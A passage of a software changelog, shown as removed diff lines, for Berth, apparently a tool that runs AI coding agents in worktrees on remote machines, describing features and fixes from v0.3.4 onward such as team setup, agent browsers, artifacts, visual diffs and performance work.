- doesn't get it, and × on the note puts it away for good. **Settings →
- About → What's new** and ⌘K open it again.
- [Updates](/docs/getting-started/install#updates).
-- **A team setup's repos are ready when it says so.** Each repo's
- first-time setup (its init) runs in a terminal of its own on the box,
- which the Team setup page never showed. An init that stopped at a question,
- such as corepack's "Do you want to continue? [Y/n]" before it downloads
- yarn, left the repo setting up until opening its main checkout happened to
- show that terminal; answering there finished the setup, which is why
- worktrees only worked after **Open main checkout**. Now corepack doesn't
- ask (in inits and worktree setup scripts). A repo's row shows its init's
- last line and a **Terminal** button. When the init asks anything, the row
- says **waiting for you**, the status card names the repo, and **Answer in
- its terminal** opens it. **Open main checkout** is a way to open the repo
- again, not a step.
- [Progress, failure and Retry](/docs/guides/team-setup#progress-failure-and-retry).
-- **An agent CLI you installed with npm is found.** Claude Code installed
- with `npm i -g @anthropic-ai/claude-code` under nvm (or fnm, volta, bun,
- pnpm, a custom npm prefix or Homebrew) wasn't picked up on a new box,
- where the one **Add agents…** installs was: berthd runs as a service, and
- only your interactive shell's `~/.bashrc` knows where nvm put it. berthd
- now asks your shell as a terminal starts it (`$SHELL -lic`, reading only
- its answer, past any banner, and giving up after ten seconds), then looks
- in the folders those installers use. With both installs, the one your
- shell finds first is used. Agents start with it and the `PATH` it was
- found with, so its `node` is found too. `berthd doctor` and **Settings →
- Boxes** say which one, such as `Claude Code 2.1.3 · ~/.nvm/…/bin/claude
- (npm)`, with **Look again** for one installed since; `berthd agents
- install` no longer installs a second copy, and `berthd integrations
- install` finds it the same way.
- [Agent CLIs you installed yourself](/docs/getting-started/add-a-box#agent-clis-you-installed-yourself).
-- **The agent's browser has the size the agent chooses.** It opens at
- 1920×1080 now (it was 1280×800), and an agent sets another with
- `berthd browser resize 390x844 --scale 3`, a preset (`phone`,
- `phone-max` and `tablet` as in Preview, `laptop`, `desktop`), or
- `open --size … --scale …`. The size is kept for the worktree until it
- changes, a running browser changes at once, and widths from 320 to 3840,
- heights from 240 to 2160 and scales from 1 to 3 are allowed, with an error
- that says the range otherwise. `open`, `status`, `list`, `doctor` and
- `GET /v1/browser/health` say the size; `shot` follows it (`--native` for
- the page's own pixels). In the app, **Agent's view** says the size and the
- zoom it shows the page at, and fits the page to the pane without enlarging
- it past its own size, so a 2x page stays sharp. The `berth-browser` skill
- tells agents to check a phone size too. [Agent browser](/docs/guides/agent-browser#size)
-- Files an agent's browser downloads land in the worktree's
- `.berth/browser/`, as the guide says, rather than the folder berthd
- started in.
-
-- **A slow or dropping link to a box says so, and recovers by itself.**
- Tested against boxes 200–900 ms away, links with jitter, a bandwidth cap,
- stalls, resets, outages of 10 s, 60 s and 5 minutes, and a laptop asleep.
- A box that drops off now reads **Reconnecting to devl… Next try in 6s**
- in its terminals, chats and a team setup in progress, with **Try now**
- (which checks the box at once; it used to only re-read what the agent
- already knew). The agent tries an away box after about 2 s, then 4 and
- every 8 s, each with jitter (never less often than before), checks a box
- at once when a request to it has had no answer for 5 s, and answers
- requests for an away box at once rather than after a 15 s dial,
- so ⌘P, Files and the rest stop spinning. Reads now give up after 30 s
- with "devl isn't answering" instead of spinning on, and ⌘P says why in
- words and searches again when the box is back. Typing into a terminal
- that gets nothing back for 4 s shows **Waiting for devl to answer…**. A
- chat message sent again after a dropped answer carries the same
- idempotency key, so it is typed once, not twice. The app's event stream
- to the agent reconnects with jittered backoff and is dropped and opened
- again after 45 s of silence (a laptop that slept), and refreshes that
- land together after a reconnect run as one instead of piling up.
- [Slow and dropping networks](/docs/concepts/laptop-agent#slow-and-dropping-networks).
-- **Berth works from the keyboard and with a screen reader.** Under a
- chat, its agent's terminal no longer takes Tab and keeps it. Closing
- ⌘K, ⌘P or a rename gives the keyboard back instead of dropping it;
- a file opened from ⌘P takes the keyboard, as do the Files panel (⌘⇧E)
- and the console drawer (⌘⌥I), whose tabs switch with the arrows and
- whose edge sizes with ↑ and ↓. Shift-F10 opens a tab's menu, ← and →
- fold a project in the sidebar, answering a permission or a question
- keeps the keyboard, and focus rings show in every theme
- (3:1, and muted text 4.5:1 on menus and highlighted rows: 22 themes
- moved a shade; code in the File tab and in chats reads at 4.5:1 too,
- each colour a shade darker or lighter). Screen readers hear who said
- each message in a chat,
- and hear an agent that finishes, needs you or fails, alerts first.
- ⌘K now lists every shortcut's action, each part of Settings, Review,
- a Preview tab, Rename this worktree and Do not disturb; the shortcuts
- sheet adds F2, ⌘F, ↵, esc, ← → and ⇧F10. With Reduce motion on in
- macOS, spinners, shimmer and pulses hold still and nothing slides.
-- **Artifacts: charts, tables, diagrams and small pages from your agents,
- live.** An agent writes a `berth.chart` JSON, a CSV, Mermaid, Markdown or
- one HTML file and runs `berthd artifact add`; its chat shows a card with a
- live thumbnail and the headline its data gives ("/search 1,240 → 410 ms
- (−67%)", "3 failed of 16"). Open it as a tab, or ⌘-click to open it
- beside the chat; the tab has a Live pill that pulses when the agent
- rewrites the file, its versions (the first and the newest eight) and its
- source. **N artifacts** under the reply box, or the grid button in the
- worktree's toolbar, opens the worktree's board, filtered by Charts,
- Tables, Diagrams, Pages and Notes. Charts are drawn with
- [bklit UI](https://ui.bklit.com) in your theme, in all 23; a page runs on
- its own origin with no network and no access to Berth. The box keeps
- them outside the worktree, checks each version, and refuses one that
- looks like a secret. The `berth-artifacts` skill teaches Claude Code and
- Codex when and how (`berthd integrations install`). The claude.ai chip
- now reads **N published**. [Artifacts](/docs/guides/artifacts).
-
-- **Visual diffs: what a change did to your pages.** After a UI change, an
- agent runs `berthd shots compare`: the worktree's pages and main's are
- shot at 375, 768 and 1280 pixels wide in a short-lived Chromium of their
- own (reduced motion, animations settled, fonts and images loaded, lazy
- content scrolled in, UTC), diffed pixel by pixel with content that only
- moved counted as moved, and kept as an artifact in its chat, in about 5
- seconds for 6 pages × 3 sizes. The tab opens on the biggest change: a
- before/after **Slider**, **Side by side**, **Flicker** or **Onion skin**,
- a **Heatmap** with **Glow**, numbered regions named by their element,
- **Changes ‹ n of N ›** (n and p), **All shots** in a grid, and chips for
- a page that now scrolls sideways, fails or is new. **Accept as
- baseline** keeps the after-shots; comparing again with
- `--base accepted` gives the all clear. Masks and defaults go in
- `.berth/config.json`'s `shots`; `--color-scheme both` shoots light and
- dark; with main's dev server stopped it compares with the turn-start
- baseline (`berthd shots baseline`) and says so. The agent reads about 450
- tokens. The `berth-visual-diff` skill teaches Claude Code and Codex to
- check before saying done. Beside the chat, in a narrow pane, its tab's
- header folds to one line (the title, a version menu, **Source** and
- **Board**) so the before/after starts near the top.
- [Visual diffs](/docs/guides/visual-diffs).
-
-- **Berth rests when nothing happens.** Left open with a couple of chats,
- two Browser tabs and their drawers, a Preview tab and the Files panel,
- the app asked the agent about 170 times a minute and kept its main
- thread busy about 12% of the time, hidden or not, because every terminal
- drew on every frame whether or not it showed. Now a terminal in a hidden
- tab draws nothing and gets its output a second at a time (the agent
- batches it), and one on screen draws only when something changes: with
- a dozen terminals printing behind other tabs, the main thread went from
- most of a core to about a tenth of one, typing in the one in front echoes in
- about 30 ms instead of 400, and switching to one takes 30 ms instead of
- 400. At rest the app asks about 55 times a minute, and nothing while
- the window is hidden or the Mac sleeps; it catches up the moment you
- come back. Spinners and shimmers hold still once the window has been in
- the background for 30 seconds. Closing a terminal now frees its memory
- (it kept all of it before), a full Console drawer no longer redraws
- every row for each new line, xterm.js (the fallback renderer) no longer
- stalls with noisy terminals in background tabs, and an idle box's
- daemon no longer wakes thirty times a second. `pnpm perf:soak` and
- `pnpm perf:terminals` measure it; the smoke suite checks it stays so.
-
-- **Give a worktree a name you can read.** A worktree made from a pasted
- link is called `https-linear-app-acme`. **Rename…** in its menu,
- double-click or F2 on its sidebar row (Enter saves, Esc cancels), or
- right-click or F2 on its tile in the folded rail gives it a display name;
- the field says the branch stays as it is, and offers the name its agent's
- task gives. It is a label only: the branch and folder don't move, and an
- empty name shows the worktree's own again. The box keeps it, so your
- other laptops, the phone and `berth worktree rename BOX/LOC/NAME "Name"`
- see it too. It shows in the sidebar, the rail, tab groups, ⌘K and ⌘P,
- Home, Review, notifications, the status bar (new: the worktree in front,
- click to rename) and the window's title, with the worktree's own name in
- its tooltip and beside it when the sidebar is wide; ⌘K finds either. A box
- that isn't updated keeps it on this laptop only, and says so once.
- [Display names](/docs/concepts/projects-and-worktrees#display-names).
-- **Drag the sidebar wider or narrower.** Its right edge sizes it from
- 200px, where a worktree's name still reads, to 420px (and never more than
- 40% of the window), and the width is kept. Double-click the edge for the
- default 240px; focus it for ← and → (Shift for bigger steps), Home and
- End. Dragged past its narrowest it folds to the rail, as in VS Code, and
- dragging the rail's edge out opens it again; Esc mid-drag puts it back.
- Terminals and the Browser tab follow as you drag.
-
-- **Long chats stay quick.** In a chat of 2,000 turns, each update of a
- reply being written took about 57 ms, as every row was drawn again and
- every message re-read for ⌘F; now only the reply's own row draws, in
- about 15 ms, the same as in a short chat. Typing in the reply box no
- longer makes the whole window restyle on each key (about 8 ms a key,
- at any length). Scrolling a long chat from top to bottom quickly no
- longer drops half its frames, and a chat holds half the memory. Words
- you select stay selected while the chat scrolls past them, so dragging
- or Shift-clicking across many messages copies all of them, and screen
- readers hear the chat as a list that says where each message is.
- [Conversation view](/docs/guides/labs#conversation-view).
-
-- **The sidebar stays quick with hundreds of worktrees.** With 300
- worktrees, each with an agent, every row used to build its right-click
- menu, its ⋯ and + menus and its tooltips up front: about 1.2 s of work
- as the app started, and 120 MB of memory. Now the sidebar and the folded
- rail share one menu and one tooltip, and a row draws its buttons when
- you first point at it or tab to it: the start costs no more than with a
- handful of worktrees, memory is about 20 MB, and folding a project,
- renaming a row or going to Home no longer draws every row again. Agents'
- spinning and pulsing state icons rest while scrolled out of sight, which
- kept the app busy even when nothing happened, and dragging the
- sidebar's edge no longer restyles the whole window on every frame (it
- stuttered at a few frames a second). Right-click, Shift+F10, the menu
- key, F2 and double-click work as before.
-
-- **The Browser tab stops spinning once a page has loaded.** A page that
- adds a frame after it loads (a chat widget, an embed) used to leave the
- spinner on for good. Only the page itself counts now, and a load that
- never starts gives up after ten seconds. A page whose own code keeps
- reloading it (four times in a row) says so, with **Open in your
- browser**. Next.js 16.3 reloads a page once in WebKit after a redirect
- to a page with a Cross-Origin-Opener-Policy header; Next 16.4 fixes it,
- or set `experimental.reactDebugChannel: false`.
-
-- **Messages from other agents are theirs, not yours.** Claude Code hands
- a helper's hand-back, a teammate's message, another session's, the
- lead's note and its own background notices to the model as if they were
- prompts. The chat showed some as your own bubble (tags, JSON and
- reminders included) and dropped the rest, so Claude answered reports you
- never saw. Now each is a card beside Berth's reports: the sender's
- avatar and colour, its name and kind, Report, Question, Update,
- Instruction or Failed, how long it took, "to Claude", and **Open** for a
- helper's tab. **Read report** unfolds a report in place; one longer than
- a screen opens in its helper's tab or a sheet. A teammate's or session's
- question **needs you** until it's answered, with **Reply**. Background
- pings are one line, successes close together fold into "✓ 3 finished",
- failures always show (×2 when repeated). A message you sent mid-turn is
- marked "Sent while Claude was working", and `` notes
- are gone. Teammates join the Crew strip, helpers that reported back get a
- **Report** badge, and Berth's own report cards take the same head. Needs
- the box updated; an older box shows these as before.
- [Conversation view](/docs/guides/labs#conversation-view).
-- **The crew's times fit.** A helper out for 10 minutes or more no longer
- wraps its time onto two lines ("12m / 00s").
-
-- **Developer tools in the Browser tab.** **Inspect** opens WebKit's Web
- Inspector for the page, in its own window, and the page's right-click
- menu has **Inspect Element**, in release builds too (a private WebKit
- setting the App Store refuses; Berth ships outside it). **Console and
- network** (⌘⌥I) opens a drawer under the page: its console since it
- loaded, uncaught errors and rejections with their stacks, and its
- requests from the laptop proxy's log, failed ones marked. **Send to
- agent** on an error or a failed request hands the worktree's agent the
- error, its stack or the request and its answer, and the page's address.
- The Browser tab and its toolbar count the page's errors. Watching the
- agent's browser, the drawer shows its console and failed requests.
- [Browser tab](/docs/guides/browser#developer-tools)
-
-## v0.3.9
-
-- **A helper opens in its own tab.** Click a helper in the crew, or in
- "Sent out N helpers", and its whole conversation opens as a tab just
- after its chat's: its name, a spinner while it works and a check once
- it's back, and the agent that sent it out a click away. Click again and
- that tab comes to the front. ⌘-click opens it beside the chat in a
- split, and ⌥-click (or the row's eye) still peeks in the sheet, which
- now has **Open in tab**. The tab splits, drags and groups like any other,
- and is there again after a restart; a helper whose record is gone, or
- whose box is offline, says so.
-- **agent-browser no longer piles up on a box.** Agents that drive Vercel's
- agent-browser CLI instead of Berth's browser left a daemon and a headless
- Chrome running for every session they forgot to close, and on a busy box
- those Chromes ate the CPU. Every session Berth starts now gets
- `AGENT_BROWSER_IDLE_TIMEOUT_MS=600000`, so an idle one closes after 10
- minutes (set it in the box's `env.json` or the project's `env` to change
- it, `0` to turn it off). When a Berth session stops, exits or its
- worktree is archived, Berth closes the agent-browser sessions it started,
- and only those: one run by hand is never touched. `berthd doctor` lists
- any left behind and `berthd browser reap` closes them. The
- `berth-browser` skill now tells agents to use `berthd browser` for the
- worktree's pages, and to run `agent-browser close` when they use
- agent-browser anyway. [Agent browser](/docs/guides/agent-browser#agent-browser).
-
-- **The crew sits in its conversation.** The helpers an agent sends out
- now dock above its reply box, beside the task list, in each chat pane for
- its own agent. Before, the card sat in the window's corner, and in a
- narrow pane it hung over the reply box and the Stop button. Folded it is
- one line (how many, how many are working, what the first is doing); it
- folds itself a few seconds after every helper is back. Loops keep the
- corner.
-
-- **Adding a box is quiet.** **Add a box** over SSH, or **Install and pair**
- on a tailnet machine, opens a compact dialog with a short checklist, and
- the agents to install sit inline beside the host (Claude Code ticked,
- remembered for the next box). Berth installs berthd, its own tmux, the
- agents and their integrations by itself: no plan to read and no Enter to
- press. A terminal opens in the dialog only for a step that truly needs
- `sudo`'s password (git missing, or keeping berthd running after you log
- out where the box allows that only as root), and only for that step;
- lingering is tried without sudo first, and when it alone needs the
- password the dialog asks, with **Skip**. `berth add ssh` is quiet the same
- way; `--guided` shows the whole plan and runs it in one terminal, as
- adding a box from Team setup does (the guided install, below).
-- **1Password is optional in Team setup.** When a team's shared keys are
- 1Password references, the **Keys** check offers **Use 1Password** or
- **Skip 1Password**. Skipped, each shared key is typed once (or left
- blank), no `op://` reference reaches the box and `op` is never called for
- them; blank keys are listed as missing on **You're set up** and in the
- project's settings, and **Use 1Password** turns it on later. A team can
- require it with `"onepassword": "required"` in `team.json` (the default is
- `"optional"`). `berth team setup --no-1password` does the same from the
- command line.
-- **The guided install.** Adding a box from Team setup first shows the
- plan, full screen: what will run, step by step, the exact commands a click
- away, which steps may need `sudo`, the team's own steps after Berth's, and
- an **Agents** choice (Claude Code ticked; Codex, Cursor Agent and OpenCode
- to add; remembered for the next box). Then `berth add ssh --guided` runs
- in a terminal here, beside a checklist: press Enter to start, and type
- your password when `sudo` asks for it on the box (it goes to the box and
- nowhere else; Berth never sees or keeps it). A failed step shows its
- command as a copyable line and **Retry from here**; the steps before it
- are kept. When the box is ready, the team's setup starts on it in the same
- screen, and **Back to Team setup** goes on from there. `berth add ssh
- --guided` does the same in your own terminal: the plan, then Enter;
- `--yes` and scripts stop with the command to run instead, never a command
- made into a sentence.
-- **Berth brings its own tmux.** `berth` and the app carry a static tmux
- for Linux (amd64 and arm64, 1.3 MB, built from pinned sources by
- `scripts/build-tmux.sh`), uploaded to `~/.local/bin` on a box without
- one, so tmux needs no sudo. git still comes from the package manager, in
- the guided terminal. berthd's service now has `~/.local/bin` on its `PATH`
- on Linux too.
-- **Berth installs the agent CLIs.** `berthd agents install claude codex`
- puts them in `~/.local/bin` without sudo: Claude Code with its native
- installer, Codex from its pinned GitHub release with its sha256 checked,
- Cursor Agent and OpenCode with their own installers; each is skipped when
- it is there. Adding a box runs it, then installs their hooks and
- skills (`berthd integrations install present`), so there is nothing left
- to run by hand. **Settings › Boxes › … › Add agents…** adds more later, in
- the same view. Signing in stays yours. A team setup can name them too:
- `"agents": ["claude", "codex"]` in `team.json` becomes Berth's own step.
-- Adding a box refuses to install as root, and asks before berthd
- listens on every interface on a box without a tailnet address.
-
-- **Team setup.** A GitHub org publishes how its engineers' boxes are set
- up in a repository called `.berth` (`team.json`, schema `berth.team/v1`,
- plus the box script and any kits), and a new engineer runs it from Berth:
- **Joining a team?** on the welcome screen, **Set this box up for a team**
- in Add a box, or a link, `berth://team?org=`. One page reads like the
- org's repository (who published it, the commit, who changed it last), lists
- what you'll get with every exact command, and turns into the progress when
- you press **Set up**. GitHub goes through the GitHub CLI: your laptop's `gh`
- reads the setup and checks you can read each repo (no membership check;
- "You can't read acme/website: ask an admin · Set up the other 2"),
- and the box signs in with its own `gh auth login`, so your laptop's token
- never leaves it. Box steps run in a terminal on the box, as you; steps
- that need root ask for your password there, and Berth never sees it.
- Progress survives berthd restarting, a failed step keeps the ones before
- it and retries from itself, and each repo is set up from its own
- `.berth/config.json` (trusted as you reviewed it) or the team's kit,
- pinned to a commit. Shared keys are 1Password references, your own are
- asked for once and stay on your box. A newer commit of `.berth` is an
- update to review, with a diff, never run by itself. An org without a
- `.berth` gets a picker of its repos. A team setup also loads from a link
- to any repo, branch and folder (`github.com///tree//`,
- or `berth://team?src=…`), to try one before the org publishes it; the page
- then names the repo and branch it came from. `berth team show|setup|status|retry`
- does the same from the command line. Acme's is the worked example, in
- `examples/team/acme-dot-berth`. See [team setup](/docs/guides/team-setup).
-
-- **Team setup signs 1Password in.** A team setup whose shared keys are
- `op://` references gets a Berth step of its own after GitHub's,
- **1Password on the box**: `op signin` runs in the box's terminal, the page
- shows it inline while op asks (its questions count as waiting for you, as
- sudo's do), and berthd keeps op's session for its reads. `berthd secret
- signin` does the same by hand, and `--check` only says whether the box can
- read 1Password.
-- **op never asks in a service's terminal.** Berth runs op without a
- terminal, so a box that isn't signed in no longer leaves a service sitting
- at op's "add an account? [Y/n]": the read fails at once with
- "1Password isn't signed in on devbox: sign in from Team setup or run
- `berthd secret signin` on the box", and the service starts without the key.
-- **tmux and git on a fresh box.** `berthd install` (which the install
- command and `berth add ssh` both run) installs tmux, and git if missing,
- when that needs no password: as root, with sudo that needs none, or with
- Homebrew. The install command offers to run it with sudo when it can ask;
- otherwise it stops before installing anything, with the command to run.
- The Team setup page says when the box has no tmux, with the command, and
- waits for it.
-- **`box.settings` in `team.json`.** Values the team keeps in one place
- (versions, ports) reach the box script, and each project's init, as
- `BERTH_SETTING_`. Strings only, checked; `$` fields are still
- comments.
-- **New groups reach what berthd starts.** A step that adds you to a group
- (docker) used to leave berthd, and every terminal and service it started,
- without it until a reboot. The team's terminal now carries on with the new
- group, and berthd starts terminals, services, scripts and hooks through
- `sg` while it lacks one; `berthd doctor` says so.
-- **Kit requirements are checked as a login shell finds them.** A kit's
- `requires` used berthd's own PATH, so a project warned "node is not
- installed" right after the box steps installed it with fnm. They are
- looked for through your login shell now, and checked again when a team
- setup's steps end.
-- **A project's init gets the kit.** A team setup's `init` script gets
- `BERTH_KIT_DIR`, `BERTH_LOCATION`, `BERTH_ROOT_PATH` and `BERTH_BOX`, as
- kit scripts do, so it can reuse the kit's code.
-- **Team project ids are URL-safe.** A project's id names it on the box and
- is part of every worktree's URL, so `team.json` refuses one with a dot
- (`acme.com`; use `site`, with `path` keeping the folder). Repos picked from
- an org without a `.berth` get one (`acme.com` → `acme-com`).
-- **The example team setup** is Acme's, a made-up org whose shop needs
- Node, Postgres and Redis: 8 box steps, 4 with sudo, versions in
- `box.settings`, and an init that migrates and seeds.
-
-## v0.3.8
-
-- **The Files panel.** ⌘⇧E (or View → Files panel, or its button in the
- tab strip) shows the worktree's files at the right, beside whatever tab
- is in front, so you can watch what the agent touches while you read its
- Chat. **All** lists the worktree a folder at a time; **Changed** folds it
- to this turn's files, with `+/−` lines and A/M/D letters. It opens on
- Changed while the agent works and on All otherwise, until you pick. Blue
- dots mark folders with changes inside, and the file the agent is writing
- gets a live mark while it works. Click a file to open it in a File tab;
- **New file** makes an empty one in the folder you are on, and is the
- only thing the panel does to files. Below a 1100px window it floats over
- the tabs and goes on esc. It stays open across restarts. The box lists a
- folder at a time (`GET …/files?dir=`), so the panel isn't limited to the
- 20,000 files ⌘P searches; past that, ⌘P also searches what the agent
- changed, and says so. See
- [the Files panel](/docs/guides/files#the-files-panel).
-
-- **⌘P finds a file, and a File tab opens it.** In any worktree, ⌘P lists
- the files the agent changed this turn first, with their `+/−` lines,
- then the ones you opened lately; type to search every file, fuzzily,
- with letters in the file's name counting most. On a wide window the
- highlighted file shows beside the list at the agent's first change. ↵
- opens a File tab, ⌥↵ opens it beside the pane, ⌘↵ in your editor. The
- File tab marks the agent's changes this turn in the margin (yours,
- unsaved, in grey), steps through them, saves with ⌘S, and is coloured
- by your theme's own syntax colours, as diffs are. When the agent writes
- the file under your unsaved edits, nothing is overwritten: a banner
- offers Reload, Keep mine or Compare (side by side in the diff view).
- Large and binary files say why they don't open; pictures show. See
- [Go to file and File tabs](/docs/guides/files).
-
-- **Prompts wait for an agent's trust question.** In a folder it hasn't
- seen, Claude Code (and Codex) first asks whether to trust it, and that
- question takes keys only: a prompt typed into it was dropped, and the
- Enter after it answered the question, which with Claude Code's
- highlighted "No, exit" ended the session before its first prompt ran.
- The box now watches a new agent until it is at its prompt. A prompt sent
- while it asks is held and typed once you've answered and it has run the
- prompt it was started with (that one, given on its command line, was
- always kept); one sent before it has drawn waits a moment first. The chat
- shows the question in the agent's own screen, to answer there, with the
- first prompt marked as sent, and no longer offers a Yes or No that would
- type a word into it. Needs the box updated.
-
-- **The chat streams while Claude writes.** A reply now grows in the chat
- as it does in the terminal, read off Claude Code's screen, with a caret
- where the words end; when Claude Code records the message it takes the
- draft's place in the same spot, with nothing jumping or showing twice. A
- reply taller than the terminal keeps the start the chat already saw.
- Finished steps (tool calls, earlier words) also appear within a fraction
- of a second instead of every two seconds: the box says when an open
- chat's transcript changes. Codex chats show messages as they land, as
- before. Needs the box updated; older boxes keep working as they did.
- Settings › Appearance › Chat › "Show replies as they're written" turns
- the growing draft off.
-
-- **An agent hears back when work it started is done.** An agent that
- starts a task in a worktree, prompts another agent, or starts a run no
- longer has to keep polling to find out it finished. Berth remembers who
- asked and, when the work finishes, fails, needs a person or reaches a
- gate, types one short `` into the asking agent's
- session at its next idle: the agent's answer, the files it changed with
- their line counts, its branch and how to review and merge it, and where
- to read more. Several that land together arrive as one message; each is
- said once, never in a circle, never to an agent that's gone, and at most
- one every 15 seconds. The skills and MCP tools now tell agents to end
- their turn rather than wait, and `notify: false` (or `--no-notify`) opts
- out. In the app the report reads as a card in the chat, with a button to
- open the agent it's about. See
- [hearing back](/docs/guides/orchestration#hearing-back).
-
-- **A file dropped on the window no longer replaces the app.** Dropping a
- file from Finder where nothing takes it used to open it in Berth's place,
- a whole-window markdown file with no way back. Now it is refused, and a
- hint says to drop it on a message box or a terminal. Home's composer,
- the ⌘N task box, Running agents, Fork and Send back now take dropped or
- pasted files, as the reply box does: they go up to the box and their
- paths go with the prompt (for a new worktree, into the project's main
- checkout until the worktree exists).
-
-## v0.3.7
-
-- **The folded sidebar shows your agents, not initials.** With the sidebar
- hidden (`⌘\`), the rail lists agents by what they need: those that need
- you, then working, then done, then any on a box that went away, each
- lane headed by its glyph and count. Each agent is its own icon (Claude,
- Codex) in a ring of its state, over its worktree's name, edged in its tab
- group's colour when on screen. Hover or focus one for its task, what it
- waits for, its project, worktree and box; click to go to it. Lanes fold;
- arrow keys move between agents; nothing shows while nothing is happening.
-
-- **Ask about what you select in a chat.** Select words in an agent's
- reply, a tool's output or a question, and a small bar offers **Ask
- Claude about this** (type and press Enter: it goes with the words
- quoted) or **Quote in reply**. Code blocks in replies now say their
- language and keep **Copy** in view, and waiting ("Reading the
- conversation…", the agent's working line) shows a small pixel grid with
- how long it has taken.
-
-- **Home is yours: a grid of widgets under the composer.** Needs you (with
- **Allow once** for a permission, right there), Working now with each
- agent's step, Recently finished, Recent areas, the Harbour, Pull requests
- and your review queue, CI failures on your worktrees' branches, Git
- activity, Agent usage, Boxes, Running services and Notes. **Customize**
- moves, resizes and removes them (by drag or keyboard), **Add widget**
- shows each one live with your data, and your layout is kept. Widgets read
- nothing while off screen. Plugins add their own with
- `berth.addHomeWidget`. [More](/docs/guides/home)
-
-- **Preview tabs: a page at every size at once.** A worktree's dev server
- at Tailwind's breakpoints, phones and a tablet side by side, each at its
- real width, as a filmstrip, a grid or all fitted in view. Synced, opening
- a page or scrolling in one frame does it in all (clicks and typing too,
- if you like); isolated, each is its own. Force light or dark for all
- frames or one, rotate phones, add your own widths, and take one
- screenshot of every frame. Open one from **+ → Preview**, the Run menu,
- **Running in**, or a Browser tab's toolbar. The laptop agent gives only
- Preview frames the script that does this; restart it after updating.
- [More](/docs/guides/browser#preview-tab)
-- **A terminal on a box, from Home.** ⌘T or **New terminal** with no
- worktree in focus asks which box (each with its state and load, the last
- one picked first; a box that's offline or needs a newer berthd says so),
- or goes straight to the only one online. The shell starts in the box
- user's home folder and opens as a tab over Home, after a **devl · ~**
- chip; closing the last one gives you plain Home back. A box's menu in
- the sidebar has **New terminal** too. Boxes need this berthd
- (`session.home`).
-- **Agents start on a Mac's own box again.** Under launchd, tmux 3.7 had no
- locale and mangled the session list, so every agent on "this Mac" ended
- with "It's gone". tmux now always speaks UTF-8 there.
-- **A new task opens in one tab, not two.**
-- **An update restarts the Berth agent.** The agent outlives the app, so
- after an update it went on running the old version (and kept this Mac's
- box on the old berthd) until you restarted it or the Mac. Now the updated
- app restarts it as it starts, whether the app started it or it starts at
- login: it first finishes what it's doing, your agents keep running on
- their boxes, and the new agent brings this Mac's box up to date. A short
- note says **Updated to vX.Y.Z**. `berth agent restart` does the same by
- hand.
-- **The chat no longer sticks on "Reading the conversation…".** An agent
- at work sends an event with every tool call, and each one started the
- chat's read over, throwing away the answer on its way: on a box slower to
- answer than the agent's calls came, the chat never showed. Reads now
- carry on, and one the box never answers ends in a few seconds in **Couldn't
- read the conversation** with Retry.
-
-- **Compare two worktrees (Labs).** ⌘⌥C, **Compare with…** in a worktree's
- menu, or **Compare with #N** on an attempt in Review opens a Compare tab:
- both worktrees side by side in mirrored lanes, Chat, Diff, Preview and
- Terminal (⌥1–4), with each side's agent state and diff numbers, a hinge
- that swaps them (⌘⌥S), and Sync: the same path on both dev servers with
- each page's load time, the same file in both diffs, the same turn in both
- chats. A side that is archived or offline leaves the other to fill the
- tab, saying why. Tabs, group labels and panes are reachable from the
- keyboard and named with their worktree for screen readers, a colour is
- always shown with a name, and each theme sets worktree colours so they
- read on it. [Labs](/docs/guides/labs#worktrees-side-by-side).
-
-- **Copy diagnostics.** Settings → About → Help, and an error's Details,
- copy one short report to paste into a chat: the app's and the agent's
- versions, `berth doctor`'s checks, this Mac's box (its tools, tmux, agent
- CLIs and `PATH`), each box's version, capabilities and last error, the
- terminal renderer, theme, Labs, and the last errors and toasts with their
- codes. Tokens, `op://` references, emails and your username are taken
- out. `berth doctor --report` prints the same text.
-- **A smoke suite for the app.** `pnpm test:e2e` (in `app/`) runs the
- production build in Chromium on the mock fixtures, and CI runs it on every
- change; `pnpm smoke:live` runs it against your own agent, read only.
-
-## v0.3.6
-
-October 5, 2026.
-
-Worktree pages open on a Mac's own box, in your browser and in Berth's.
-
-
-- **Worktree URLs work on a Mac's own box, and in the Browser tab.** On
- this Mac's box, `http://WORKTREE.LOCATION.BOX.localhost:1377/` said "not
- found" for a dev server started in the worktree (`npm start` on 3000), since
- the box only placed a server by its port, and terminals never got `PORT`.
- The box now reads each server's folder on macOS too, as Linux boxes always
- did, and a worktree's terminals and agents get `PORT=$BERTH_PORT` unless
- the project sets it. A URL with nothing running yet says so and how to
- start it, and a server started a moment ago opens at once. Separately, the
- release app's browser panes stayed blank on every `http://…localhost` page:
- macOS App Transport Security refused plain http in the bundled app (never
- in `pnpm tauri dev`); Berth.app now allows it for localhost names only.
- When terminals fall back to xterm.js, the app says why once, with Copy
- details, in Settings → Terminal, and in `berth doctor`. Boxes and the app
- need the update. [Project config](/docs/guides/project-config#services).
-
-## v0.3.5
-
-October 5, 2026.
-
-Agents start however long the prompt, and on a fresh Mac.
-
-
-- **Long prompts start.** A task or session whose prompt was over about
- 16 KB failed with "tmux new-session: ." and its worktree was removed: the
- command went on tmux's command line, which tmux refuses. Each session's
- command now lives in a file only you can read, which its login shell
- runs, so a prompt can be up to a 2 MB request (the agent itself takes its
- first one as one argument: up to 128 KB on Linux, about 1 MB on a Mac,
- and a longer one is refused up front, saying so). A long message sent to
- a running agent goes through tmux's stdin, whole. Every tmux failure now
- says why (its exit status, or a timeout), never an empty reason. Boxes
- need an upgrade. [Sessions](/docs/concepts/sessions-and-agents#sessions).
-- **This Mac finds Homebrew's tmux.** The Mac's own box runs under launchd,
- whose bare PATH hid `/opt/homebrew/bin`, so no agent could start there.
- berthd now looks for tmux in Homebrew's folders too, and its launchd
- plist carries your login shell's PATH (with Homebrew's and `~/.local/bin`);
- the agent rewrites an older plist on its next start. `berthd doctor` says
- how to install tmux on that system.
-- **Missing tmux or agent CLI gets a card, not a failure.** Starting an
- agent on a box without tmux or the agent's CLI shows how to install it:
- onboarding and ⌘N show the command (`brew install tmux` on a Mac, with
- Homebrew first if needed; the package manager on Linux), **Copy and open
- Terminal** on this Mac, and **Check again**. Nothing is created until
- it's there.
-
-## v0.3.4
-
-October 5, 2026.
-
-Two worktrees side by side, nineteen themes, a chat that keeps every
-turn, and browsers that show you the page.
-
-
-- **Fix a blocked agent's browser from Berth.** On Ubuntu 24.04, whose
- sandbox setting stops Chromium starting, the browser pane marks the
- agent's browser **blocked** and Settings → Boxes shows why, with two ways
- out: **Fix it** opens a terminal on the box with the `sudo sysctl` command
- typed for you to run (Berth never sees your password) and clears once the
- box allows it, or **Run without Chromium's sandbox**, a per-box setting
- that needs no restart. An agent that hits it is told to ask you, and
